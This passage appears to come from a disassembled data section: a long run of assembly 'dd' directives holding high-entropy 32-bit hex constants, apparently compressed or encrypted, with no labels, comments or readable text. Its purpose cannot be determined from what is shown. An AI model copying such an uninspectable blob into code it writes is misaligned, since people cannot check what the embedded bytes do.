8F208E87h, 40014F80h dd 4CEE4D8Dh, 88C4138h, 0B84C144h, 0B1814085h, 8747C087h dd 864146CEh, 42678247h, 831C4380h, 0C19C003Dh, 38EC6681h dd 7C07A8DBh, 0E389520Fh, 9CFCE410h, 0C158388Bh, 104359Dh dd 899D505Dh dd 0DFA03016h, 0C21E927Ch, 204099B2h, 904210Ah, 5F531D0Eh dd 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh, 0C8E36E59h dd 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h, 2FE83D73h dd 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h, 31EC13h dd 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h, 0F4154CF0h dd 30F64Bh, 0A101B247h, 0E8217061h, 6E1BBB1Eh, 0D63A9680h dd 63CF2Ch, 56FF3083h, 0AD0F4B04h, 6636E900h, 0E828141Ah dd 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h, 9C3B24h dd 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h, 9A8C0060h dd 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h, 647FF8E0h dd 69D64400h, 0FF9C181Fh, 75500079h, 0EE10595Dh, 0AC074514h dd 2FA83D05h, 25447EF0h, 4F61015Eh, 0C86FF488h, 0FC0680F8h dd 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h, 16C60FFh dd 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h, 8DB38615h dd 6FE82730h, 0EA42588Fh, 65315700h, 0DB85D873h, 110076FCh dd 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h, 0EB0002AEh dd 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h, 3D01C978h dd 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h, 8C0E5567h dd 0C0AA9854h, 5A38CAE9h, 8B28031Dh, 0D3CCA396h, 29A9B388h dd 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h, 88B83B75h dd 50EAC702h, 0E37E5FFEh, 42588802h, 0BD41006Ch, 2A3D7145h dd 200DEE2h, 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h, 40C3D500h dd 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh dd 7F9475C1h, 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h dd 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h dd 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h dd 6F4AC15Ch, 3A144143h, 0F01EBACAh, 18A886F7h, 0B33C4E82h dd 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h, 950F24EEh dd 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h, 30B3718Fh dd 10878021h, 52801E34h, 938013Ah, 97791257h, 0F3C10E0h dd 9472B84Ah, 0DE041DFDh, 8A6A0005h, 0FA9553F2h, 448C64DEh dd 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h, 0A9F35C88h dd 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h, 141EEB67h dd 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h, 86164839h dd 524A1CEh, 6F315314h, 20C897Ah, 48202523h, 0C3001CBCh dd 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h, 2301206h dd 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h, 84000469h dd 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh dd 6B002812h, 38201042h, 0D6591F95h, 0A1880336h, 13B01757h dd 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh dd 2C2864FEh, 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h dd 18598832h, 90067D24h, 713F8CE3h, 3044802Bh, 6625AB12h dd 0C83CFE68h, 8905B4Bh, 0A5185020h, 4576D4C4h, 0BCB0424h dd 0C1F15ECAh, 708806A1h, 3A3D56ABh, 313F46h, 165BF362h dd 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h, 110F5D42h, 1C041433h dd 0F2D4D324h, 5F9C808Dh, 63E61559h, 78189C92h, 0D230CCAh dd 8921BDAFh, 0E2F89502h, 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h dd 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h, 0CAA8204Ah dd 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h, 89B0C308h dd 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h, 84E07A9h dd 500C56E0h, 0F4B8745Dh, 430D6800h, 0D0388817h, 7685EA14h dd 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh, 1C1F700h dd 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h, 3CE9E827h dd 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh, 80899F4Ah dd 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h dd 44470399h, 9CF0E169h, 483AA63Bh, 0A9218057h, 0B0683CE4h dd 647585h, 0B80A7320h, 55357469h, 0C305E901h, 0B448F87Eh dd 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh, 123BB222h dd 95D300BCh, 5083440Dh, 0FE03380Fh, 17045257h, 8908A314h dd 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h, 9E059CA9h dd 0FE081380h, 749CB254h, 61800E1h, 2F23B459h, 0FA03A25Ch dd 6445A88Bh, 71C59088h, 804D01C3h, 8F26A69h, 172DE4D3h dd 5D277005h, 0F1ACBCB4h, 2B157300h, 0CBF956FBh, 0A4E37A00h dd 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h, 0D0AC795Eh dd 0F7D51A2h, 1AA42BDBh, 19582163h, 60E4D7D1h, 17039156h dd 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h, 1BEC80E8h dd 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh, 6132B9C6h dd 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h, 50C18624h dd 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h, 9DBFFB83h dd 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h, 14030F3Bh dd 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh, 0FEE340A6h dd 89F400E3h, 2EBF804h, 0C800C031h, 0BF841090h, 0C970F1h dd 3C7FB12Bh, 1A961130h, 41D24124h, 3DA5C100h, 7F349455h dd 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h, 0C0F9D101h dd 7C5D81C7h, 4CD701E2h, 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh dd 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh, 91005ADCh dd 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h, 1B04E57Ch dd 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h, 7CD28580h dd 0B58AFA12h, 750B7800h, 881E1C01h, 0E800318h, 4A02C083h dd 91EF51E0h, 60BD3A03h, 0D04BFCC8h, 3D49B13h, 6A2AC22h dd 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh, 0DF013926h, 30A58559h dd 0C428C1EFh, 98C017D8h, 8E02007Ch, 6854A118h, 0AC9083F6h dd 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h, 0A2900D66h dd 4207D55Ch, 1A6CFD9Dh, 68D103F0h, 0C0322E24h, 0C7C500EFh dd 1F1EB5FFh, 1764DB00h, 5A8C5452h, 0E5A400A8h, 34FB1056h dd 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h, 91590FEh dd 8B005184h, 1CEEAA41h, 803108h, 9FA6C721h, 7C86C2FFh dd 9715C800h, 0B80D55F9h, 2FB90070h, 3E64B5E2h, 20048D0h dd 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh, 830F3D05h dd 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h, 1F2F010Ch dd 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h, 0C1FE00E2h dd 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh, 48777EB8h dd 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h, 0FD8A3AE7h dd 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h, 7CF88F8h dd 0B1E9EDA4h, 810FF9EEh, 0D77C6880h, 0E8001748h, 0FD19E1F2h dd 1560A1Dh, 463576DAh, 0DC2A5420h, 250310B2h, 7475F8Bh dd 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h, 9D8B50CEh dd 83184787h, 14D010F0h, 0D4D63C97h, 0B0FE880h, 53D23E01h dd 8A71CD00h, 0B78E13B9h, 26100027h, 164AAB95h, 63EED84Eh dd 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h, 8435D337h dd 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch, 0A5606353h dd 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h, 58E14BECh dd 0E244D2Ch dd 56004441h, 5357AED6h, 0D83900FAh, 68518376h, 0CA00AD3Eh dd 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h dd 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh dd 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h, 6F00794Ah dd 50CE8EDh, 7112F675h, 784D00F8h, 7CA85DF0h, 1F1345E1h dd 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h, 523CA546h dd 4CC75700h, 8DF3C959h, 0BBF60054h, 40E06BBAh, 0BF0B3CD5h dd 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh, 2400D23Ch dd 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh, 0D700C8FCh dd 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h, 43C2830Fh dd 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh, 2014510h dd 2D4C6A30h, 0B09FC32Bh, 132C0732h, 121CF018h, 11C1D08h dd 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h, 0F29FEDAh dd 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h, 80401C93h dd 758D3803h, 0F9601317h, 2870A203h, 53620B72h, 0CC80C214h dd 55B39296h, 4A00DB79h, 541825BCh, 852120h, 0A542F4ADh dd 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch, 1D453E9h dd 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h, 127113Ch dd 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h, 443D6C61h dd 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h, 6C118721h dd 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh, 0DB45C6E1h dd 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch, 74C3FB3Ah dd 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h, 75804CFEh dd 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh, 1F84F335h dd 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh, 1F41F1h dd 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h, 0B8A02E0h dd 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh, 0D9B47C01h dd 50E46E53h, 232A0208h, 28877141h, 3B83FC80h, 76B8D12Eh dd 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h, 8A7B1812h dd 3A3901F2h, 0E758250h, 41020742h, 78E95303h, 1CCBC4h dd 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h, 0FFC50F11h dd 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h, 0F84D0067h dd 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h, 311600CFh dd 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch, 91BD072Ah dd 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh, 0AEAD0141h dd 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah, 0EC2CA7D4h dd 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h, 0E0F3CB9Ch dd 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h, 0A6C3202Fh dd 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh, 0DAC043C1h dd 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h, 0E42CC8FCh dd 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh, 20E14E1h dd 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh, 0E9ABA204h dd 70816641h, 4717BA62h, 0C50040A7h, 27A09184h, 24F50774h dd 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h, 8CFE89h dd 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h, 0AE80841Fh dd 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h, 2300A56Ah dd 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h, 5C0038EEh dd 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h, 93E47648h dd 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh, 0C10074B1h dd 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh, 0DD07901Fh dd 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch, 0A316A80Fh dd 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh, 173936E9h dd 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch, 830011BCh dd 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h, 0C201E300h dd 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h, 14012A07h dd 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh, 0C3006978h dd 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h, 790407E0h dd 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h, 0BA1C1318h dd 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h, 3D008BC5h dd 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h, 8D6C9000h dd 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h, 0E1541A00h dd 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h, 4D21832h dd 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh, 0FA81F800h dd 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch, 0BB0EF43Dh dd 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch, 100E954h dd 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh, 2AC31000h dd 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh, 0FC2DE241h dd 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh, 87D5355Ah dd 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh, 42001D40h dd 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh, 0AC09B93Fh dd 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h, 0BE11F9ECh dd 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h, 0F8C7448Ch dd 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h, 0F72765C5h dd 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh, 158A0582h dd 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h, 0E37F02BAh dd 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh, 127B81h dd 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h, 124300E5h dd 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h, 352900CBh dd 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h, 0C6F7690Dh dd 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h, 5E1D0064h dd 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h, 0D9D24EFFh dd 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h, 2833B32h dd 3E92042Ch, 3B66A080h, 7127506h, 76C98500h, 45BE8B20h dd 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah, 0D400EC0h dd 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h, 4790C362h dd 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h, 0F01F84h dd 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh, 344F9B40h dd 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h, 0A0380C4h dd 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h, 19FA00C4h dd 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh, 899E2099h dd 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h, 320D0598h dd 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh, 1A6DC9h dd 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h, 0B02E7E1Ch dd 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah, 0A282701Dh dd 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h, 5C80FAEAh dd 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch, 80792075h dd 1757D054h, 11001993h, 0D2515303h, 0A04D14h, 0F78B4781h dd 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h, 7F468A3Ch dd 88050920h, 699D7F9h, 87578580h, 30871C2h, 0A2B45005h dd 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh, 0BAE12A76h dd 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h, 754F8568h dd 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h, 50201253h dd 915189D4h, 80D00E3Ch dd 3C4F9BE8h, 1F7F55h, 522228DCh, 0A11392F0h, 0E6E55800h dd 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h, 4300EC90h dd 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh, 792A4D6h dd 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h, 0C0655D64h dd 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh, 0AF6CB8h dd 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h, 4021FD40h dd 6C7002Ch, 2811D6D4h, 9B03CB42h, 22431AFDh, 7AD998AAh dd 4330093h, 3C60ABCh, 0C9009901h, 6F8B29DEh, 75B9A609h dd 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h, 41243EF9h dd 0D794E8h, 8DD38549h, 0E8CB3122h, 7B80BE1Eh, 4C7E04C0h dd 1FBAE619h, 402F2BE1h, 0F62E284Ah, 46FE2D42h, 52D6EE00h dd 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h, 80E7438h dd 4254C730h, 17AF9770h, 3F59FA90h, 0EC00F7F0h, 0CF806A9h dd 0E4008AF4h, 89FC7E5Fh, 0F100F41h, 53A22F3Eh, 3B2C9FA0h dd 8000550Eh, 0A9F752B9h, 77138B2Ah, 1AA80796h, 0B008F49Fh dd 4A95651Dh, 54855600h, 5E2F412Eh, 6570E776h, 0AA810057h dd 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h, 7F17F8C1h dd 0EC880E11h, 29604276h, 5245CC6h, 55455900h, 0EB3125B2h dd 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h, 77F1799Ch dd 9A0A0078h, 0EC6EDF3Eh, 52000B44h, 7367650Eh, 0EE9320h dd 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h, 93F20052h dd 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h, 9A16B192h dd 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h, 0B87E007Eh dd 9451A25Ch, 740C0018h, 76453AF4h, 6F3ED5EFh, 0BD200735h dd 95F00A9Eh, 3CE25EAh, 0DB481408h, 0F7A0D81Eh, 3D00A5D0h dd 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h, 107D865h dd 0C7D8051h, 0BBF27F50h, 5AEB0039h, 1FE81A03h, 0C8005220h dd 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h, 46BE5105h dd 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h, 0D900AB10h dd 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h, 0BE005CD4h dd 0F8573ECEh, 54964h, 0B814922Ah, 6741526h, 5869A703h dd 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h, 10FA03B2h dd 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh, 5E0E8803h dd 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h, 7A66320Eh dd 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh, 0D825996Fh dd 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h, 2ACBC907h dd 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h, 7800A06Bh dd 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h, 0A7B36400h dd 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh, 84002065h dd 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh, 190507Fh dd 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h, 4B011029h dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh dd 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh dd 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h dd 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh, 16EC89h dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h dd 3B004683h, 0FFAE6787h dd 581849B9h, 0BE3E568Fh, 0F8712ACh, 96C0A938h, 2C52D426h dd 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah, 8F748D2h dd 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch, 0A5349714h dd 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h, 0CE64AA58h dd 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h, 508388EBh dd 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh, 9A5BF8h dd 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h, 0FEF28Fh dd 736B6FF2h, 8CAA5524h, 8E749001h, 5E9219A7h, 2785F8h dd 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h, 5F4452B8h dd 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h, 826F8A62h dd 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h, 10658100h dd 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh, 0C500249Ch dd 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh, 1331EA0Eh dd 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h, 0D6755420h dd 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h, 0A126B700h dd 29CA5C91h, 862B5B01h, 141CF92Fh, 0C62D30h, 0FBA1FE45h dd 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h, 75323C48h dd 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h, 0F09004Bh dd 12AFAA95h, 0AC38C21Fh, 47F20079h, 4402652Ah, 407009F5h dd 0DA8006F1h, 22F77ED2h, 1C1DE2FEh, 0B3262D45h, 91BDC600h dd 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h, 39261980h dd 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh, 0E8CEB09Ah dd 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h, 8DFC5309h dd 7D4EA48h, 5BC3048Ah, 212450DDh, 0D200AAB7h, 0DB94719Ch dd 6F5F44Bh, 0B23A4BBh, 0C20098D1h, 3E988ACBh, 802113h dd 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh, 76FCC086h dd 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h, 